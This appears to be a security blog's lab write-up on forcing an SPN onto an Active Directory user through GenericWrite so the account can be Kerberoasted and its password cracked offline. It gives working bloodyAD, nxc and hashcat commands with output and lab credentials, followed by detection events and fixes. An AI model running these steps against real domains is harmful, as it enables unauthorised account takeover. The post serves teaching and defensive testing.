---
title: "Force-Set SPN: Targeted Kerberoasting with GenericWrite"
description: "Kerberoasting normally waits for a service account to already have an SPN. With GenericWrite over a user you can add the SPN yourself and Kerberoast them on demand — turning any weak-password user you can write to into a crackable target."
date: 2026-11-04
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/posts/force-set-spn/
---
## Kerberoasting, but you pick the target
Ordinary Kerberoasting only works on accounts that *already* have a Service Principal Name — the `sql_svc` and `jon.snow` accounts of the world. If a service account is missing, or the SPN-carrying accounts all have unbreakable passwords, you are stuck waiting.
Unless you hold a write right over a user. `GenericWrite` (or `GenericAll`) lets you edit a target's attributes, and `servicePrincipalName` is just an attribute. Add an SPN to a user, and suddenly they are Kerberoastable — their TGS gets encrypted with their password hash, and you crack it offline. You are not waiting for a weak service account anymore; you are *choosing* which weak-password user to roast.
The only question is which user you can write to. In `essos.local`, `missandei` holds `GenericWrite` over `viserys.targaryen` — the same edge we walked in [Part 4](/posts/owning-essos-forest-trust/).
## Writing the SPN
`bloodyAD` writes the attribute over LDAP in one shot:
```bash
$ bloodyAD -u missandei -p fr3edom -d essos.local --host 192.168.56.12 \
set object "viserys.targaryen" servicePrincipalName -v "HTTP/fakesvc.essos.local"
[+] viserys.targaryen’s servicePrincipalName has been updated
```
`viserys.targaryen` now carries an SPN. That one write is the whole prerequisite — the rest is ordinary Kerberoasting.
## Roasting the target you just made
Request the TGS and crack it:
```bash
$ nxc ldap 192.168.56.12 -u missandei -p fr3edom --kerberoast force_tgs.txt
LDAP [+] essos.local\missandei:fr3edom
LDAP $krb5tgs$23$*viserys.targaryen$ESSOS.LOCAL$...*$cc284a89c4f8a5864d90a1dc37a43145$...
$ hashcat -m 13100 force_tgs.txt /usr/share/wordlists/rockyou.txt --force
$krb5tgs$23$*viserys.targaryen$...:GoldCrown
```
`GoldCrown`. The password was weak, so the forced SPN turned a `GenericWrite` into a valid account takeover. Notice what makes this different from the shadow-credentials route we used earlier: this needs **no AD CS, no PKINIT**. It only works when the target's password is crackable — which is exactly the situation a targeted Kerberoast is built for.
The two techniques are complementary. Shadow credentials take over an account *regardless* of password strength but lean on a working CA. Forced-SPN Kerberoasting works without a CA but dies against a strong password. Held together, a `GenericWrite` edge rarely leaves you without a path.
Three steps: write an SPN onto a writable user, Kerberoast the new SPN, and crack the ticket — no AD CS, no password reset, just a weak password and a write right.
## Detection and the fix
**Detection:** The write is a `5136` on `servicePrincipalName` — a normal user suddenly gaining an SPN is a loud signal, especially when the SPN value is a placeholder (`HTTP/fakesvc...`) rather than a real service. The roast itself is the usual Kerberoasting tell: a `4769` TGS request for `RC4` (`etype 23`) against the freshly-created SPN.
**Control:** Remove `GenericWrite`/`GenericAll` ACEs between ordinary users (the same pruning we did in [Part 3](/posts/sevenkingdoms-acl-chain/)), monitor `5136` writes to `servicePrincipalName`, and enforce strong passwords so a forced SPN leads nowhere. A cleanup habit worth keeping: delete the SPN you added after the engagement.
## Summary
| Step | Tool | Result |
| --- | --- | --- |
| Write the SPN | `bloodyAD set object servicePrincipalName` | target is now Kerberoastable |
| Roast it | `nxc ldap ... --kerberoast` | TGS hash |
| Crack it | `hashcat -m 13100` | the user's password |
## Evidence and limits
The forced `servicePrincipalName` write (`HTTP/fakesvc.essos.local`), TGS request, and offline `hashcat` crack were executed against `viserys.targaryen` on `MEEREEN` (`192.168.56.12`) inside the isolated GOAD lab. The synthetic SPN was removed after validation.
## References
- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **The Hacker Recipes, Kerberoast:** [thehacker.recipes/ad/movement/kerberos/kerberoast](https://www.thehacker.recipes/ad/movement/kerberos/kerberoast)
- **HackTricks, Kerberoast:** [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast)
- **MITRE ATT&CK, Kerberoasting (T1558.003):** [attack.mitre.org/techniques/T1558/003](https://attack.mitre.org/techniques/T1558/003/)